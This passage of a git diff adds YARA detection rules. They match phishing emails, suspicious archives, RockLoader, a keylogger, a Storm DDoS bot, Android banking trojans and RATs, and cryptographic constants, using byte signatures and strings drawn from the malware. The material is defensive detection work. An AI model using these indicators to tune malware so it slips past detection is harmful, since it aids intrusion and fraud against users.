+	$domain3 = "dropbox.com" nocase
+
+	$subject1 = "fax message" nocase
+	$subject2 = "new fax" nocase
+	$subject3 = "fax report" nocase
+
+	$constant = "Resolution: 400x400 DPI" nocase
+
+condition:
+
+	(1 of ($domain*) and 1 of ($subject*)) or ($constant)
+
+}
+
+rule PM_Dyre_Delivery1 : dyre cryptowall crimeware
+{
+meta:
+    author="R.Tokazowski"
+    company="PhishMe, Inc."
+    URL="http://phishme.com/dyre-attackers-shift-tactics/"
+
+strings:
+    $domain1 = "goo.gl" nocase
+    $domain2 = "cubby.com" nocase
+    $domain3 = "dropbox.com" nocase
+        $php = ".php" nocase
+
+    $subject1 = "fax" nocase
+    $subject2 = "message" nocase
+        $subject3 = "voice" nocase
+
+    $constant = "Resolution: 400x400 DPI" nocase
+
+        $eh1 = "(EHLO fax-voice.com)"
+        $eh2 = "(EHLO voiceservice.com)"
+        $eh3 = "(EHLO MyFax.com)"
+
+       $anchor = "EHLO"
+
+condition:
+
+    (1 of ($domain*) and 1 of ($subject*)) or 
+        ($constant and 1 of ($domain*)) or 
+        (all of ($subject*) and $php) or
+        (2 of ($subject*) and $php) or
+        any of ($eh*) or
+        ($subject1 in (@anchor..@anchor+20)) or
+        ($subject3 in (@anchor..@anchor+20))
+
+}
+
+rule PM_Dyre_Voice_Message
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+
+
+strings:
+	$s1 = "voice message" nocase
+	$s2 = "voice redirected message" nocase
+	$s3 = "sent: " nocase
+
+condition:
+	2 of them
+}
+
+
+rule PM_Zip_With_Exe
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+	
+strings:
+	$hdr = "PK"
+	
+	$e1 = ".exe" nocase
+	$e2 = ".scr" nocase
+
+	
+condition:
+	$hdr at 0 and (($e1 in (filesize-100..filesize)) or ($e2 in (filesize-100..filesize)))
+}
+
+rule PowerPoint_Embedded_OLE
+{
+  meta:
+    description = "PPSX/PPTX Containers containing embedded data."
+    author = "PhishMe"
+  strings:
+    $magic = {50 4b}
+    $meta1 = "ppt/embeddings/oleObject"     
+    $meta2 = "ppt/slides/"
+  condition:
+    $magic at 0 and all of ($meta*)
+}
+
+rule PM_outlook_setting_pdf_exe
+
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/evolution-upatre-dyre/"
+
+strings:
+	$a1 = "PK"
+	$a2 = "outlook_setting_pdf.exe"
+
+condition:
+	$a1 at 0 and $a2
+
+}
+ /*
+  Description: Rar file with a .js inside
+  Author: iHeartMalware
+  Priority: 5
+  Scope: Against Attachment
+  Tags: http://phishme.com/rockloader-new-upatre-like-downloader-pushed-dridex-downloads-malwares/
+  Created in PhishMe Triage on April 7, 2016 3:41 PM
+*/
+
+rule rar_with_js
+{
+  strings:
+  $h1 = "Rar!" 
+  $s1 = ".js" nocase
+    
+  condition:
+    $h1 at 0 and $s1
+}
+
+
+
+rule RockLoader{
+	meta:
+		name = "RockLoader"
+		description = "RockLoader Malware"
+		author = "@seanmw"
+        
+	strings:
+		$hdr = {4d 5a 90 00}
+		$op1 = {39 45 f0 0f 8e b0 00 00 00}
+		$op2 = {32 03 77 73 70 72 69 6e 74 66 41 00 ce 02 53 65}
+        
+	condition:
+		$hdr at 0 and all of ($op*) and filesize < 500KB
+}
+
+//invalid hex string at $rttype1
+rule PPS_With_OLEObject
+{
+  meta: 
+    description = "PowerPoint Archives with embedded OLE indicators."
+    author = "PhishMe"
+  strings:
+    $magic={d0 cf 11 e0} 
+    $stream1="PowerPoint Document" wide
+    $stream2="Current User" wide
+    $rttype1={0f 00 cc 0f /*[4]*/ } 
+    $rttype2={00 00 cd 0f 08 00 00 00 [4] (00|01) (00|01) /*[2]*/} 
+    $rttype3={01 00 c3 0f 18 00 00 00 [4] (00|01|02) [7] 00 00 00 00  /*[4]*/} 
+  condition:
+    $magic at 0 and all of ($stream*)  and all of ($rttype*)
+}
+
+
+   
+/*
+  Description: Hits on ZIP attachments that contain *.js or *.jse - usually JS Dropper malware that has downloaded Kovter & Boaxee in the past.
+  Priority: 5
+  Scope: Against Attachment
+  Tags: FileID
+  Author: P.Burbage
+  Created in PhishMe's Triage on September 1, 2015 1:43 PM
+*/
+
+rule PM_Zip_with_js
+{
+  strings:
+    $hdr="PK" 
+    $e1=".js" nocase
+    $e2=".jse" nocase
+
+  condition:
+    $hdr at 0 and (($e1 in (filesize-100..filesize)) or ($e2 in (filesize-100..filesize)))
+}
+
+rule viotto_keylogger
+{
+meta:
+  author = "Paul B. (@hexlax) PhishMe Research"
+  description = "Matches unpacked Viotto Keylogger samples"
+  details "http://phishme.com/viotto-keylogger"
+
+strings:
+  $hdr = "MZ"
+  $s1 = "Viotto Keylogger"
+  $s2 = "msvbvm60"
+  $s3 = "FtpPutFileA"
+  $s4 = "VBA6"
+  $s5 = "SetWindowsHookExA"
+condition:
+  ($hdr at 0) and all of ($s*)
+
+}
diff --git a/yara-mikesxrs/phish me/PowerPoint_Embedded_OLE.yar b/yara-mikesxrs/phish me/PowerPoint_Embedded_OLE.yar
new file mode 100644
index 0000000..4f0853d
--- /dev/null
+++ b/yara-mikesxrs/phish me/PowerPoint_Embedded_OLE.yar	
@@ -0,0 +1,12 @@
+rule PowerPoint_Embedded_OLE
+{
+  meta:
+    description = "PPSX/PPTX Containers containing embedded data."
+    author = "PhishMe"
+  strings:
+    $magic = {50 4b}
+    $meta1 = "ppt/embeddings/oleObject"     
+    $meta2 = "ppt/slides/"
+  condition:
+    $magic at 0 and all of ($meta*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/Zip_with_JS.yar b/yara-mikesxrs/phish me/Zip_with_JS.yar
new file mode 100644
index 0000000..071ad68
--- /dev/null
+++ b/yara-mikesxrs/phish me/Zip_with_JS.yar	
@@ -0,0 +1,19 @@
+/*
+  Description: Hits on ZIP attachments that contain *.js or *.jse - usually JS Dropper malware that has downloaded Kovter & Boaxee in the past.
+  Priority: 5
+  Scope: Against Attachment
+  Tags: FileID
+  Author: P.Burbage
+  Created in PhishMe's Triage on September 1, 2015 1:43 PM
+*/
+
+rule PM_Zip_with_js
+{
+  strings:
+    $hdr="PK" 
+    $e1=".js" nocase
+    $e2=".jse" nocase
+
+  condition:
+    $hdr at 0 and (($e1 in (filesize-100..filesize)) or ($e2 in (filesize-100..filesize)))
+}
diff --git a/yara-mikesxrs/phish me/criakl_metadata.yar b/yara-mikesxrs/phish me/criakl_metadata.yar
new file mode 100644
index 0000000..882b950
--- /dev/null
+++ b/yara-mikesxrs/phish me/criakl_metadata.yar	
@@ -0,0 +1,16 @@
+/*
+  Description: Rule looking for Russian meta content tags
+  Author: iHeartMalware
+  Priority: 3
+  Scope: Against Email
+  Tags: 
+  Created in PhishMe Triage on March 11, 2016 3:04 PM
+*/
+
+rule criakl_russian_meta_content
+{
+strings:
+  $h1="<meta content=\"ru\"" nocase
+condition:
+  all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/cryptowall_phish.yar b/yara-mikesxrs/phish me/cryptowall_phish.yar
new file mode 100644
index 0000000..bcfc071
--- /dev/null
+++ b/yara-mikesxrs/phish me/cryptowall_phish.yar	
@@ -0,0 +1,28 @@
+/*
+  Description: None
+  Priority: 5
+  Scope: Against Email
+  Tags: None
+  URL:http://phishme.com/using-yara-to-break-cryptowall-phishing/
+  Created in PhishMe's Triage on September 14, 2015 2:33 PM
+*/
+
+rule CryptoWall_Resume_phish
+{
+  strings:
+    $hello2="my name is " nocase
+    $file1="resume attached" nocase
+    $file2="my resume is pdf file" nocase
+    $file3="attached is my resume" nocase
+    $sal1="I would appreciate your " nocase
+    $sal2="I am looking forward to hearing from you" nocase
+    $sal3="I look forward to your reply" nocase
+    $sal4="Please message me back" nocase
+    $sal5="our early reply will be appreciated" nocase
+    $file4="attach is my resume" nocase
+    $file5="PDF file is my resume" nocase
+    $sal6="Looking forward to see your response" nocase
+
+  condition:
+    1 of ($hello*) and 1 of ($file*) and 1 of ($sal*)
+}
diff --git a/yara-mikesxrs/phish me/mailers.yar b/yara-mikesxrs/phish me/mailers.yar
new file mode 100644
index 0000000..f496823
--- /dev/null
+++ b/yara-mikesxrs/phish me/mailers.yar	
@@ -0,0 +1,19 @@
+/*
+  Description: This rule keys on email headers that may have been sent from a malicious PHP script on a compromised webserver.
+  Priority: 4
+  Scope: Against Email
+  Tags: None
+  Author: P.Burbage
+  Created in PhishMe's Triage on September 1, 2015 1:43 PM
+*/
+
+rule PM_Email_Sent_By_PHP_Script
+{
+  strings:
+    $php1="X-PHP-Script" fullword
+    $php2="X-PHP-Originating-Script" fullword
+    $php3="/usr/bin/php" fullword
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/rar_with_JS.yar b/yara-mikesxrs/phish me/rar_with_JS.yar
new file mode 100644
index 0000000..b8bea08
--- /dev/null
+++ b/yara-mikesxrs/phish me/rar_with_JS.yar	
@@ -0,0 +1,18 @@
+/*
+  Description: Rar file with a .js inside
+  Author: iHeartMalware
+  Priority: 5
+  Scope: Against Attachment
+  Tags: http://phishme.com/rockloader-new-upatre-like-downloader-pushed-dridex-downloads-malwares/
+  Created in PhishMe Triage on April 7, 2016 3:41 PM
+*/
+
+rule rar_with_js
+{
+  strings:
+  $h1 = "Rar!" 
+  $s1 = ".js" nocase
+    
+  condition:
+    $h1 at 0 and $s1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/rockloader.yar b/yara-mikesxrs/phish me/rockloader.yar
new file mode 100644
index 0000000..55b94af
--- /dev/null
+++ b/yara-mikesxrs/phish me/rockloader.yar	
@@ -0,0 +1,14 @@
+rule RockLoader{
+  meta:
+    name = "RockLoader"
+    description = "RockLoader Malware"
+    author = "@seanmw"
+        
+  strings:
+    $hdr = {4d 5a 90 00}
+    $op1 = {39 45 f0 0f 8e b0 00 00 00}
+    $op2 = {32 03 77 73 70 72 69 6e 74 66 41 00 ce 02 53 65}
+        
+  condition:
+    $hdr at 0 and all of ($op*) and filesize < 500KB
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/viotto_keylogger.yar b/yara-mikesxrs/phish me/viotto_keylogger.yar
new file mode 100644
index 0000000..73f4fdd
--- /dev/null
+++ b/yara-mikesxrs/phish me/viotto_keylogger.yar	
@@ -0,0 +1,18 @@
+rule viotto_keylogger
+{
+meta:
+	author = "Paul B. (@hexlax) PhishMe Research"
+	description = "Matches unpacked Viotto Keylogger samples"
+	details "http://phishme.com/viotto-keylogger"
+
+strings:
+	$hdr = "MZ"
+	$s1 = "Viotto Keylogger"
+	$s2 = "msvbvm60"
+	$s3 = "FtpPutFileA"
+	$s4 = "VBA6"
+	$s5 = "SetWindowsHookExA"
+condition:
+	($hdr at 0) and all of ($s*)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/BLOWFISH_Constants.yar b/yara-mikesxrs/phoul/BLOWFISH_Constants.yar
new file mode 100644
index 0000000..5edb4f9
--- /dev/null
+++ b/yara-mikesxrs/phoul/BLOWFISH_Constants.yar
@@ -0,0 +1,22 @@
+rule BLOWFISH_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for Blowfish constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { D1310BA6 }
+		$c1 = { A60B31D1 }	
+		$c2 = { 98DFB5AC }
+		$c3 = { ACB5DF98 }
+		$c4 = { 2FFD72DB }
+		$c5 = { DB72FD2F }
+		$c6 = { D01ADFB7 }
+		$c7 = { B7DF1AD0 }
+		$c8 = { 4B7A70E9 }
+		$c9 = { E9707A4B }
+		$c10 = { F64C261C }
+		$c11 = { 1C264CF6 }
+	condition:
+                6 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/MD5_Constants.yar b/yara-mikesxrs/phoul/MD5_Constants.yar
new file mode 100644
index 0000000..3029c54
--- /dev/null
+++ b/yara-mikesxrs/phoul/MD5_Constants.yar
@@ -0,0 +1,22 @@
+rule MD5_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for MD5 constants"
+                date = "2014-01"
+                version = "0.2"
+        strings:
+		// Init constants
+		$c0 = { 67452301 }
+		$c1 = { efcdab89 }
+		$c2 = { 98badcfe }
+		$c3 = { 10325476 }
+		$c4 = { 01234567 }
+		$c5 = { 89ABCDEF }
+		$c6 = { FEDCBA98 }
+		$c7 = { 76543210 }	
+		// Round 2
+		$c8 = { F4D50d87 }
+		$c9 = { 78A46AD7 }
+	condition:
+                5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/RC6_Constants.yar b/yara-mikesxrs/phoul/RC6_Constants.yar
new file mode 100644
index 0000000..0aa07a2
--- /dev/null
+++ b/yara-mikesxrs/phoul/RC6_Constants.yar
@@ -0,0 +1,16 @@
+rule RC6_Constants {
+        meta:
+                author = "chort (@chort0)"
+                description = "Look for RC6 magic constants in binary"
+                reference = "https://twitter.com/mikko/status/417620511397400576"
+                reference2 = "https://twitter.com/dyngnosis/status/418105168517804033"
+                date = "2013-12"
+                version = "0.2"
+        strings:
+                $c1 = { B7E15163 }
+                $c2 = { 9E3779B9 }
+                $c3 = { 6351E1B7 }
+                $c4 = { B979379E }
+        condition:
+                2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/RIPEMD160_Constants.yar b/yara-mikesxrs/phoul/RIPEMD160_Constants.yar
new file mode 100644
index 0000000..46f83e1
--- /dev/null
+++ b/yara-mikesxrs/phoul/RIPEMD160_Constants.yar
@@ -0,0 +1,20 @@
+rule RIPEMD160_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for RIPEMD-160 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 67452301 }
+		$c1 = { EFCDAB89 }
+		$c2 = { 98BADCFE }
+		$c3 = { 10325476 }
+		$c4 = { C3D2E1F0 }
+		$c5 = { 01234567 }
+		$c6 = { 89ABCDEF }
+		$c7 = { FEDCBA98 }
+		$c8 = { 76543210 }
+		$c9 = { F0E1D2C3 }
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/SHA1_Constants.yar b/yara-mikesxrs/phoul/SHA1_Constants.yar
new file mode 100644
index 0000000..1f3cf56
--- /dev/null
+++ b/yara-mikesxrs/phoul/SHA1_Constants.yar
@@ -0,0 +1,20 @@
+rule SHA1_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA1 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 67452301 }
+		$c1 = { EFCDAB89 }
+		$c2 = { 98BADCFE }
+		$c3 = { 10325476 }
+		$c4 = { C3D2E1F0 }
+		$c5 = { 01234567 }
+		$c6 = { 89ABCDEF }
+		$c7 = { FEDCBA98 }
+		$c8 = { 76543210 }
+		$c9 = { F0E1D2C3 }
+	condition:
+                5 of them
+}
diff --git a/yara-mikesxrs/phoul/SHA256_Constants.yar b/yara-mikesxrs/phoul/SHA256_Constants.yar
new file mode 100644
index 0000000..a98fe58
--- /dev/null
+++ b/yara-mikesxrs/phoul/SHA256_Constants.yar
@@ -0,0 +1,21 @@
+rule SHA256_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA224/SHA256 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 428a2f98 }
+		$c1 = { 982F8A42 }
+		$c2 = { 71374491 }
+		$c3 = { 91443771 }
+		$c4 = { B5C0FBCF }
+		$c5 = { CFFBC0B5 }
+		$c6 = { E9B5DBA5 }
+		$c7 = { A5DBB5E9 }
+		// Exclude
+		$e0 = { D728AE22 }
+		$e1 = { 22AE28D7 }
+	condition:
+                4 of ($c0,$c1,$c2,$c3,$c4,$c5,$c6,$c7) and not ($e0 or $e1)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/SHA512_Constants.yar b/yara-mikesxrs/phoul/SHA512_Constants.yar
new file mode 100644
index 0000000..f25ed21
--- /dev/null
+++ b/yara-mikesxrs/phoul/SHA512_Constants.yar
@@ -0,0 +1,20 @@
+rule SHA512_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA384/SHA512 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 428a2f98 }
+		$c1 = { 982F8A42 }
+		$c2 = { 71374491 }
+		$c3 = { 91443771 }
+		$c4 = { B5C0FBCF }
+		$c5 = { CFFBC0B5 }
+		$c6 = { E9B5DBA5 }
+		$c7 = { A5DBB5E9 }
+		$c8 = { D728AE22 }
+		$c9 = { 22AE28D7 }
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phoul/WHIRLPOOL_Constants.yar b/yara-mikesxrs/phoul/WHIRLPOOL_Constants.yar
new file mode 100644
index 0000000..0f95244
--- /dev/null
+++ b/yara-mikesxrs/phoul/WHIRLPOOL_Constants.yar
@@ -0,0 +1,16 @@
+rule WHIRLPOOL_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for WhirlPool constants"
+                date = "2014-02"
+                version = "0.1"
+        strings:
+                $c0 = { 18186018c07830d8 }
+                $c1 = { d83078c018601818 }
+                $c2 = { 23238c2305af4626 }
+                $c3 = { 2646af05238c2323 }
+        condition:
+                2 of them
+}
+
+
diff --git a/yara-mikesxrs/phoul/phoul_index.yara b/yara-mikesxrs/phoul/phoul_index.yara
new file mode 100644
index 0000000..e44dc61
--- /dev/null
+++ b/yara-mikesxrs/phoul/phoul_index.yara
@@ -0,0 +1,171 @@
+rule BLOWFISH_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for Blowfish constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { D1310BA6 }
+		$c1 = { A60B31D1 }	
+		$c2 = { 98DFB5AC }
+		$c3 = { ACB5DF98 }
+		$c4 = { 2FFD72DB }
+		$c5 = { DB72FD2F }
+		$c6 = { D01ADFB7 }
+		$c7 = { B7DF1AD0 }
+		$c8 = { 4B7A70E9 }
+		$c9 = { E9707A4B }
+		$c10 = { F64C261C }
+		$c11 = { 1C264CF6 }
+	condition:
+                6 of them
+}
+
+rule MD5_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for MD5 constants"
+                date = "2014-01"
+                version = "0.2"
+        strings:
+		// Init constants
+		$c0 = { 67452301 }
+		$c1 = { efcdab89 }
+		$c2 = { 98badcfe }
+		$c3 = { 10325476 }
+		$c4 = { 01234567 }
+		$c5 = { 89ABCDEF }
+		$c6 = { FEDCBA98 }
+		$c7 = { 76543210 }	
+		// Round 2
+		$c8 = { F4D50d87 }
+		$c9 = { 78A46AD7 }
+	condition:
+                5 of them
+}
+
+rule RC6_Constants {
+        meta:
+                author = "chort (@chort0)"
+                description = "Look for RC6 magic constants in binary"
+                reference = "https://twitter.com/mikko/status/417620511397400576"
+                reference2 = "https://twitter.com/dyngnosis/status/418105168517804033"
+                date = "2013-12"
+                version = "0.2"
+        strings:
+                $c1 = { B7E15163 }
+                $c2 = { 9E3779B9 }
+                $c3 = { 6351E1B7 }
+                $c4 = { B979379E }
+        condition:
+                2 of them
+}
+
+
+rule RIPEMD160_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for RIPEMD-160 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 67452301 }
+		$c1 = { EFCDAB89 }
+		$c2 = { 98BADCFE }
+		$c3 = { 10325476 }
+		$c4 = { C3D2E1F0 }
+		$c5 = { 01234567 }
+		$c6 = { 89ABCDEF }
+		$c7 = { FEDCBA98 }
+		$c8 = { 76543210 }
+		$c9 = { F0E1D2C3 }
+	condition:
+		5 of them
+}
+
+
+rule SHA1_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA1 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 67452301 }
+		$c1 = { EFCDAB89 }
+		$c2 = { 98BADCFE }
+		$c3 = { 10325476 }
+		$c4 = { C3D2E1F0 }
+		$c5 = { 01234567 }
+		$c6 = { 89ABCDEF }
+		$c7 = { FEDCBA98 }
+		$c8 = { 76543210 }
+		$c9 = { F0E1D2C3 }
+	condition:
+                5 of them
+}
+
+
+rule SHA256_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA224/SHA256 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 428a2f98 }
+		$c1 = { 982F8A42 }
+		$c2 = { 71374491 }
+		$c3 = { 91443771 }
+		$c4 = { B5C0FBCF }
+		$c5 = { CFFBC0B5 }
+		$c6 = { E9B5DBA5 }
+		$c7 = { A5DBB5E9 }
+		// Exclude
+		$e0 = { D728AE22 }
+		$e1 = { 22AE28D7 }
+	condition:
+                4 of ($c0,$c1,$c2,$c3,$c4,$c5,$c6,$c7) and not ($e0 or $e1)
+}
+
+
+rule SHA512_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for SHA384/SHA512 constants"
+                date = "2014-01"
+                version = "0.1"
+        strings:
+		$c0 = { 428a2f98 }
+		$c1 = { 982F8A42 }
+		$c2 = { 71374491 }
+		$c3 = { 91443771 }
+		$c4 = { B5C0FBCF }
+		$c5 = { CFFBC0B5 }
+		$c6 = { E9B5DBA5 }
+		$c7 = { A5DBB5E9 }
+		$c8 = { D728AE22 }
+		$c9 = { 22AE28D7 }
+	condition:
+		5 of them
+}
+
+rule WHIRLPOOL_Constants {
+        meta:
+                author = "phoul (@phoul)"
+                description = "Look for WhirlPool constants"
+                date = "2014-02"
+                version = "0.1"
+        strings:
+		$c0 = { 18186018c07830d8 }
+		$c1 = { d83078c018601818 }
+		$c2 = { 23238c2305af4626 }
+		$c3 = { 2646af05238c2323 }
+	condition:
+                2 of them
+}
+
+
+
+
+
diff --git a/yara-mikesxrs/plxsertr/ntserverdll.yar b/yara-mikesxrs/plxsertr/ntserverdll.yar
new file mode 100644
index 0000000..2ba79c2
--- /dev/null
+++ b/yara-mikesxrs/plxsertr/ntserverdll.yar
@@ -0,0 +1,22 @@
+rule StormNtServerDLL : ntserverdll
+{
+meta:
+	author = "plxsert"
+	date = "2014-02-04"
+	description = "Storm ntserver dll"
+	sample_filetype = "dll"
+	
+strings:
+
+	$string0 = "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
+	$string1 = "Network China NetBot" fullword
+	//$string2 = "Windows China Driver" fullword
+	$string3 = "Made in China DDoS" fullword
+	$string4 = "SerDLL.dll" fullword
+	$string5 = "Accept-Language: zh-cn" fullword
+	$string6 = "dddd  asdfddddf" fullword
+
+
+condition:
+	all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/plxsertr/ntserverexe.yar b/yara-mikesxrs/plxsertr/ntserverexe.yar
new file mode 100644
index 0000000..c4c298a
--- /dev/null
+++ b/yara-mikesxrs/plxsertr/ntserverexe.yar
@@ -0,0 +1,20 @@
+rule StormNtServerExe : ntserverexe
+{
+meta:
+	author = "plxsert"
+	date = "2014-01-15"
+	description = "Storm ntserver payload"
+	sample_filetype = "exe"
+	
+strings:
+    $callWinExec = { 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8D 4C 24 10 51 FF 15 48 50 40 00 }
+    
+	$string0 = "\\ntserver.dll" fullword
+	$string1 = "iexplore.exe" fullword
+	//$string2 = "C:\\Program Files\\Internet Explorer\\iexplore.exe" fullword
+	$string3 = "SeDebugPrivilege" fullword
+
+
+condition:
+	all of ($string*) and ($callWinExec in (0..0x106c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/plxsertr/plxsertr_index.yara b/yara-mikesxrs/plxsertr/plxsertr_index.yara
new file mode 100644
index 0000000..b1457da
--- /dev/null
+++ b/yara-mikesxrs/plxsertr/plxsertr_index.yara
@@ -0,0 +1,46 @@
+rule StormNtServerDLL : ntserverdll
+{
+meta:
+	author = "plxsert"
+	date = "2014-02-04"
+	description = "Storm ntserver dll"
+	sample_filetype = "dll"
+	
+strings:
+
+	$string0 = "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
+	$string1 = "Network China NetBot" fullword
+	//$string2 = "Windows China Driver" fullword
+	$string3 = "Made in China DDoS" fullword
+	$string4 = "SerDLL.dll" fullword
+	$string5 = "Accept-Language: zh-cn" fullword
+	$string6 = "dddd  asdfddddf" fullword
+
+
+condition:
+	all of ($string*)
+}
+
+
+rule StormNtServerExe : ntserverexe
+{
+meta:
+	author = "plxsert"
+	date = "2014-01-15"
+	description = "Storm ntserver payload"
+	sample_filetype = "exe"
+	
+strings:
+    $callWinExec = { 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8D 4C 24 10 51 FF 15 48 50 40 00 }
+    
+	$string0 = "\\ntserver.dll" fullword
+	$string1 = "iexplore.exe" fullword
+	//$string2 = "C:\\Program Files\\Internet Explorer\\iexplore.exe" fullword
+	$string3 = "SeDebugPrivilege" fullword
+
+
+condition:
+	all of ($string*) and ($callWinExec in (0..0x106c))
+}
+
+
diff --git a/yara-mikesxrs/pombredanne/Android_AVITOMMS_Variant.yar b/yara-mikesxrs/pombredanne/Android_AVITOMMS_Variant.yar
new file mode 100644
index 0000000..0477e62
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_AVITOMMS_Variant.yar
@@ -0,0 +1,33 @@
+import "androguard"
+
+rule Android_AVITOMMS_Variant
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "28-May-2016"
+		description = "This rule try to detects Spy.Banker AVITO-MMS Variant"
+		source = "https://blog.avast.com/android-banker-trojan-preys-on-credit-card-information"
+
+	condition:
+		(androguard.receiver(/AlarmReceiverKnock/) and 
+		 androguard.receiver(/BootReciv/) and 
+		 androguard.receiver(/AlarmReceiverAdm/))
+		
+}
+
+rule Android_AVITOMMS_Rule2
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule try to detects Spy.Banker AVITO-MMS Variant"
+		source = "https://blog.avast.com/android-banker-trojan-preys-on-credit-card-information"
+
+	condition:
+		androguard.service(/IMService/) and 
+		androguard.receiver(/BootReciv/) and 
+		androguard.permission(/android.permission.RECEIVE_BOOT_COMPLETED/i) and 
+		androguard.permission(/android.permission.KILL_BACKGROUND_PROCESSES/i) and 
+		androguard.permission(/android.permission.SEND_SMS/i) and
+		androguard.permission(/android.permission.INTERNET/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_AndroRat.yar b/yara-mikesxrs/pombredanne/Android_AndroRat.yar
new file mode 100644
index 0000000..c44823b
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_AndroRat.yar
@@ -0,0 +1,15 @@
+import "androguard"
+
+rule Android_AndroRat
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "06-July-2016"
+		description = "This rule will be able to tag all the AndroRat samples."
+		source = "http://www.symantec.com/connect/nl/blogs/remote-access-tool-takes-aim-android-apk-binder"
+
+	condition:
+		androguard.service(/my.app.client/i) and
+        androguard.receiver(/BootReceiver/i) and
+		androguard.filter(/android.intent.action.BOOT_COMPLETED/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_BadMirror.yar b/yara-mikesxrs/pombredanne/Android_BadMirror.yar
new file mode 100644
index 0000000..848f23f
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_BadMirror.yar
@@ -0,0 +1,14 @@
+import "androguard"
+
+rule Android_BadMirror
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "06-June-2016"
+		description = "BadMirror is Android malware. The malware sends information to its remote CnC (phone number, MAC adddress, list of installed applications...) but it also has the capability to execute a few commands such as \"app\" (download an APK) or \"page\" (display a given URL)."
+		source = "https://blog.fortinet.com/post/badmirror-new-android-malware-family-spotted-by-sherlockdroid"
+
+	condition:
+		androguard.service(/SimInsService/i) and
+        androguard.permission(/android.permission.READ_PHONE_STATE/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Banker_Sberbank.yar b/yara-mikesxrs/pombredanne/Android_Banker_Sberbank.yar
new file mode 100644
index 0000000..a6bfae5
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Banker_Sberbank.yar
@@ -0,0 +1,15 @@
+import "androguard"
+
+rule Android_Banker_Sberbank
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "14-July-2016"
+		description = "This rule try to detects Android Banker Sberbank"
+		source = "https://www.zscaler.com/blogs/research/android-banker-malware-goes-social"
+
+	condition:
+		androguard.service(/MasterInterceptor/i) and 
+		androguard.receiver(/MasterBoot/i) and 
